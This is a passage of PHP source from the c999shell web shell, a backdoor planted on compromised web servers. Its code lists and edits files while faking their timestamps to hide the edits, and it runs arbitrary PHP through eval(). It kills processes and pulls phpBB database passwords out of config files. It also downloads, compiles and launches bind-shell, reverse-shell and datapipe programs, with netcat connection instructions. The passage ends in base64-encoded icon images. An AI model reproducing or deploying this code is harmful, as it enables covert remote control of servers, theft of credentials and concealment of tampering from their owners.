$a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c999shexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = ""; $r[3] = "";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = " ".$o.""; $row[] = "LINK"; } elseif ($o == "..") { $row[] = " ".$o.""; $row[] = "LINK"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = " [".$disppath."]"; } else { $type = "DIR"; $row[] = " [".$disppath."]"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = " ".$disppath.""; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "".view_perms_color($v).""; if ($o == ".") {$checkbox = ""; $i--;} else {$checkbox = "";} if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} else {$row[] = "\"Info\" \"Change\" \"Download\" ".$checkbox;} if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["folders"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} $i++; } } // Compiling table $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); echo "
    Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):

    "; foreach($table as $row) { echo "\r\n"; foreach($row as $v) {echo "\r\n";} echo "\r\n"; } echo "
    ".$v."

       "; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo "                   "; } echo " 

    "; echo ""; } } if ($act == "tools") { $bndportsrcs = array( "c999sh_bindport.pl"=>array("Using PERL","perl %path %port"), "c999sh_bindport.c"=>array("Using C","%path %port %pass") ); $bcsrcs = array( "c999sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), "c999sh_backconn.c"=>array("Using C","%path %host %port") ); $dpsrcs = array( "c999sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), "c999sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") ); if (!is_array($bind)) {$bind = array();} if (!is_array($bc)) {$bc = array();} if (!is_array($datapipe)) {$datapipe = array();} if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} if (!empty($bindsubmit)) { echo "Result of binding port:
    "; $v = $bndportsrcs[$bind["src"]]; if (empty($v)) {echo "Unknown file!
    ";} elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} else { $w = explode(".",$bind["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".",$w).".".rand(0,999).".".$ext; $binpath = $tmpdir.join(".",$w).rand(0,999); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} elseif (!$data = c999getsource($bind["src"])) {echo "Can't download sources!";} else { fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%port",$bind["port"],$v[1]); $v[1] = str_replace("%pass",$bind["pass"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} else {echo "Binding... ok! Connect to ".getenv("SERVER_ADDR").":".$bind["port"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View binder's process
    ";} } echo "
    "; } } if (!empty($bcsubmit)) { echo "Result of back connection:
    "; $v = $bcsrcs[$bc["src"]]; if (empty($v)) {echo "Unknown file!
    ";} else { $w = explode(".",$bc["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".",$w).".".rand(0,999).".".$ext; $binpath = $tmpdir.join(".",$w).rand(0,999); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} elseif (!$data = c999getsource($bc["src"])) {echo "Can't download sources!";} else { fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%host",$bc["host"],$v[1]); $v[1] = str_replace("%port",$bc["port"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...
    "; } } } if (!empty($dpsubmit)) { echo "Result of datapipe-running:
    "; $v = $dpsrcs[$datapipe["src"]]; if (empty($v)) {echo "Unknown file!
    ";} elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} else { $srcpath = $tmpdir.$datapipe["src"]; $w = explode(".",$datapipe["src"]); $ext = $w[count($w)-1]; unset($w[count($w)-1]); $srcpath = join(".",$w).".".rand(0,999).".".$ext; $binpath = $tmpdir.join(".",$w).rand(0,999); if ($ext == "pl") {$binpath = $srcpath;} @unlink($srcpath); $fp = fopen($srcpath,"ab+"); if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} elseif (!$data = c999getsource($datapipe["src"])) {echo "Can't download sources!";} else { fwrite($fp,$data,strlen($data)); fclose($fp); if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); $v[1] = str_replace("%path",$binpath,$v[1]); $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); $v[1] = str_replace("//","/",$v[1]); $retbind = myshellexec($v[1]." > /dev/null &"); sleep(5); $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View datapipe process
    ";} } echo "
    "; } } ?>Binding port:
    Port: "> Password: ">  
    Back connection:
    HOST: "> Port: ">  
    Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!

    Datapipe:
    HOST: "> Local port: ">  
    Note: sources will be downloaded from remote server.Processes:

    "; if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} else {$handler = "tasklist";} $ret = myshellexec($handler); if (!$ret) {echo "Can't execute \"".$handler."\"!";} else { if (empty($processes_sort)) {$processes_sort = $sort_default;} $parsesort = parsesort($processes_sort); if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} $k = $parsesort[0]; if ($parsesort[1] != "a") {$y = "";} else {$y = "";} $ret = htmlspecialchars($ret); if (!$win) { if ($pid) { if (is_null($sig)) {$sig = 9;} echo "Sending signal ".$sig." to #".$pid."... "; if (posix_kill($pid,$sig)) {echo "OK.";} else {echo "ERROR.";} } while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} $stack = explode("\n",$ret); $head = explode(" ",$stack[0]); unset($stack[0]); for($i=0;$i".$head[$i]."";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo "
    "; foreach($tab as $i=>$k) { echo ""; foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "";} echo ""; } echo "
    ".$v."
    "; } } if ($act == "eval") { if (!empty($eval)) { echo "Result of execution this PHP-code:
    "; $tmp = ob_get_contents(); $olddir = realpath("."); @chdir($d); if ($tmp) { ob_clean(); eval($eval); $ret = ob_get_contents(); $ret = convert_cyr_string($ret,"d","w"); ob_clean(); echo $tmp; if ($eval_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10;} echo "
    "; } else {echo $ret."
    ";} } else { if ($eval_txt) { echo "
    "; } else {echo $ret;} } @chdir($olddir); } else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} echo "


     Display in text-area 
    "; } if ($act == "f") { if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") { if (file_exists($d.$f)) {echo "
    Permision denied (".htmlspecialchars($d.$f).")!
    ";} else {echo "
    File does not exists (".htmlspecialchars($d.$f).")!
    Create
    ";} } else { $r = @file_get_contents($d.$f); $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} if (empty($ft)) {$ft = $rft;} $arr = array( array("","info"), array("","html"), array("","txt"), array("Code","code"), array("Session","phpsess"), array("","exe"), array("SDB","sdb"), array("","img"), array("","ini"), array("","download"), array("","notepad"), array("","edit") ); echo "Viewing file:     ".$f." (".view_size(filesize($d.$f)).")      ".view_perms_color($d.$f)."
    Select action/file-type:
    "; foreach($arr as $t) { if ($t[1] == $rft) {echo " ".$t[0]."";} elseif ($t[1] == $ft) {echo " ".$t[0]."";} else {echo " ".$t[0]."";} echo " (+) |"; } echo "
    "; if ($ft == "info") { echo "Information:"; if (!$win) { echo "
    Path ".$d.$f."
    Size ".view_size(filesize($d.$f))."
    MD5 ".md5_file($d.$f)."
    Owner/Group "; $ow = posix_getpwuid(fileowner($d.$f)); $gr = posix_getgrgid(filegroup($d.$f)); echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); } echo "
    Perms".view_perms_color($d.$f)."
    Create time ".date("d/m/Y H:i:s",filectime($d.$f))."
    Access time ".date("d/m/Y H:i:s",fileatime($d.$f))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))."

    "; $fi = fopen($d.$f,"rb"); if ($fi) { if ($fullhexdump) {echo "FULL HEXDUMP"; $str = fread($fi,filesize($d.$f));} else {echo "HEXDUMP PREVIEW"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} $n = 0; $a0 = "00000000
    "; $a1 = ""; $a2 = ""; for ($i=0; $i";} $a1 .= "
    "; $a2 .= "
    "; } } //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."
    ";} echo "
    ".$a0."".$a1."".$a2."

    "; } $encoded = ""; if ($base64 == 1) { echo "Base64 Encode
    "; $encoded = base64_encode(file_get_contents($d.$f)); } elseif($base64 == 2) { echo "Base64 Encode + Chunk
    "; $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); } elseif($base64 == 3) { echo "Base64 Encode + Chunk + Quotes
    "; $encoded = base64_encode(file_get_contents($d.$f)); $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); } elseif($base64 == 4) { $text = file_get_contents($d.$f); $encoded = base64_decode($text); echo "Base64 Decode"; if (base64_encode($encoded) != $text) {echo " (failed)";} echo "
    "; } if (!empty($encoded)) { echo "

    "; } echo "HEXDUMP: [Full] [Preview]
    Base64:
    [Encode [+chunk [+chunk+quotes [Decode

    "; } elseif ($ft == "html") { if ($white) {@ob_clean();} echo $r; if ($white) {c999shexit();} } elseif ($ft == "txt") {echo "

    ".htmlspecialchars($r)."
    ";} elseif ($ft == "ini") {echo "
    "; var_dump(parse_ini_file($d.$f,TRUE)); echo "
    ";} elseif ($ft == "phpsess") { echo "
    ";
       $v = explode("|",$r);
       echo $v[0]."
    "; var_dump(unserialize($v[1])); echo "
    "; } elseif ($ft == "exe") { $ext = explode(".",$f); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $rft = ""; foreach($exeftypes as $k=>$v) { if (in_array($ext,$v)) {$rft = $k; break;} } $cmd = str_replace("%f%",$f,$rft); echo "Execute file:

    Display in text-area
    "; } elseif ($ft == "sdb") {echo "
    "; var_dump(unserialize(base64_decode($r))); echo "
    ";} elseif ($ft == "code") { if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) { $arr = explode("\n",$r); if (count($arr == 18)) { include($d.$f); echo "phpBB configuration is detected in this file!
    "; if ($dbms == "mysql4") {$dbms = "mysql";} if ($dbms == "mysql") {echo "Connect to DB

    ";} else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by c999shell. Please, report us for fix.";} echo "Parameters for manual connect:
    "; $cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd); foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."'
    ";} echo "

    "; } } echo "
    "; if (!empty($white)) {@ob_clean();} highlight_file($d.$f); if (!empty($white)) {c999shexit();} echo "
    "; } elseif ($ft == "download") { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".filesize($d.$f)); header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit; } elseif ($ft == "notepad") { @ob_clean(); header("Content-type: text/plain"); header("Content-disposition: attachment; filename=\"".$f.".txt\";"); echo($r); exit; } elseif ($ft == "img") { $inf = getimagesize($d.$f); if (!$white) { if (empty($imgsize)) {$imgsize = 20;} $width = $inf[0]/100*$imgsize; $height = $inf[1]/100*$imgsize; echo "
    Size: "; $sizes = array("100","50","20"); foreach ($sizes as $v) { echo ""; if ($imgsize != $v ) {echo $v;} else {echo "".$v."";} echo "   "; } echo "

    "; } else { @ob_clean(); $ext = explode($f,"."); $ext = $ext[count($ext)-1]; header("Content-type: ".$inf["mime"]); readfile($d.$f); exit; } } elseif ($ft == "edit") { if (!empty($submit)) { if ($filestealth) {$stat = stat($d.$f);} $fp = fopen($d.$f,"w"); if (!$fp) {echo "Can't write to file!";} else { echo "Saved!"; fwrite($fp,$edit_text); fclose($fp); if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);} $r = $edit_text; } } $rows = count(explode("\r\n",$r)); if ($rows < 10) {$rows = 10;} if ($rows > 30) {$rows = 30;} echo "
      
    "; } elseif (!empty($ft)) {echo "
    Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS.
    ";} else {echo "
    Unknown extension (".$ext."), please, select type manually.
    ";} } } } else { @ob_clean(); $images = array( "arrow_ltr"=> "R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ". "SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==", "back"=> "R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt". "Wg0JADs=", "buffer"=> "R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo". "eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD". "Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==", "change"=> "R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+". "/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEA". "AB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOC". "wSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgA". "CHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDL". "zMshADs=", "delete"=> "R0lGODlhFAAUAOZZAPz8/NPFyNgHLs0YOvPz8/b29sacpNXV1fX19cwXOfDw8Kenp/n5+etgeunp". "6dcGLMMpRurq6pKSktvb2+/v7+1wh3R0dPnP17iAipxyel9fX7djcscSM93d3ZGRkeEsTevd4LCw". "sGRkZGpOU+IfQ+EQNoh6fdIcPeHh4YWFhbJQYvLy8ui+xm5ubsxccOx8kcM4UtY9WeAdQYmJifWv". "vHx8fMnJycM3Uf3v8rRue98ONbOzs9YFK5SUlKYoP+Tk5N0oSufn57ZGWsQrR9kIL5CQkOPj42Vl". "ZeAPNudAX9sKMPv7+15QU5ubm39/f8e5u4xiatra2ubKz8PDw+pfee9/lMK0t81rfd8AKf///wAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5". "BAEAAFkALAAAAAAUABQAAAesgFmCg4SFhoeIhiUfIImIMlgQB46GLAlYQkaFVVhSAIZLT5cbEYI4". "STo5MxOfhQwBA1gYChckQBk1OwiIALACLkgxJilTBI69RFhDFh4HDJRZVFgPPFBR0FkNWDdMHA8G". "BZTaMCISVgMC4IkVWCcaPSi96OqGNFhKI04dgr0QWFcKDL3A4uOIjVZZABxQIWDBLkIEQrRoQsHQ". "jwVFHBgiEGQFIgQasYkcSbJQIAA7", "download"=> "R0lGODlhFAAUALMIAAD/AACAAIAAAMDAwH9/f/8AAP///wAAAP///wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAAUABQAAAROEMlJq704UyGOvkLhfVU4kpOJSpx5nF9YiCtLf0SuH7pu". "EYOgcBgkwAiGpHKZzB2JxADASQFCidQJsMfdGqsDJnOQlXTP38przWbX3qgIADs=", "forward"=> "R0lGODlhFAAUAPIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8". "aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt". "WqsJADs=", "home"=> "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS". "krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j". "VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=", "mode"=> "R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO". "2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/". "dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=", "refresh"=> "R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA". "AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY". "3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ". "R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=", "search"=> "R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//". "/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap". "s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD". "AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr". "Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==", "setup"=> "R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC". "QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". "ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB". "qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE". "OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==", "small_dir"=> "R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA". "AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp". "/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", "small_unk"=> "R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAIep3BE9mllic3B5iVpjdMvh/MLc+y1U". "p9Pm/GVufc7j/MzV/9Xm/EOm99bn/Njp/a7Q+tTm/LHS+eXw/t3r/Nnp/djo/Nrq/fj7/9vq/Nfo". "/Mbe+8rh/Mng+7jW+rvY+r7Z+7XR9dDk/NHk/NLl/LTU+rnX+8zi/LbV++fx/e72/vH3/vL4/u31". "/e31/uDu/dzr/Orz/eHu/fX6/vH4/v////v+/3ez6vf7//T5/kGS4Pv9/7XV+rHT+r/b+rza+vP4". "/uz0/urz/u71/uvz/dTn/M/k/N3s/dvr/cjg+8Pd+8Hc+sff+8Te+/D2/rXI8rHF8brM87fJ8nmP". "wr3N86/D8KvB8F9neEFotEBntENptENptSxUpx1IoDlfrTRcrZeeyZacxpmhzIuRtpWZxIuOuKqz". "9ZOWwX6Is3WIu5im07rJ9J2t2Zek0m57rpqo1nKCtUVrtYir3vf6/46v4Yuu4WZvfr7P6sPS6sDQ". "66XB6cjZ8a/K79/s/dbn/ezz/czd9mN0jKTB6ai/76W97niXz2GCwV6AwUdstXyVyGSDwnmYz4io". "24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz". "aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM". "uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC". "yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj". "yAsokBkQADs=", "multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR". "pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==", "sort_asc"=> "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa". "SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==", "sort_desc"=> "R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". "SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", "sql_button_drop"=> "R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". "MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". "ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". "mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". "zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". "/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". "AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". "M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". "ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". "mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". "zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". "AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". "AQEAOw==", "sql_button_empty"=> "R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". "/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". "AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". 